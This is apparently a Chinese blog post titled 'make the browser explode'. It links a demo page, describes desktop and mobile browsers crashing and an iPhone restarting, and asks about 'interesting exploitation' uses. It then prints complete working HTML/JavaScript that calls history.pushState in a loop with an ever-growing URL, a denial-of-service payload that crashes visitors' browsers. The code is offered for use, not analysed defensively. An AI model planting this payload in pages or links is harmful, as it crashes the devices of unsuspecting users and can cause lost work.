让浏览器爆炸

Demo:https://www.yuncaioo.com/demo/baozha/

接来下会发生什么?

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退,iPhone用Safari打开之后链接之后,手机注销重启了……

这是Bug还是0day?

为什么会有这一现象?

如何实现的?

有哪些比较有意思的利用姿势?

完整代码:


<html>
<body>
<script>
var total="";
for (var i=0;
i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>

2 条评论

FH云彩进行回复 取消回复

*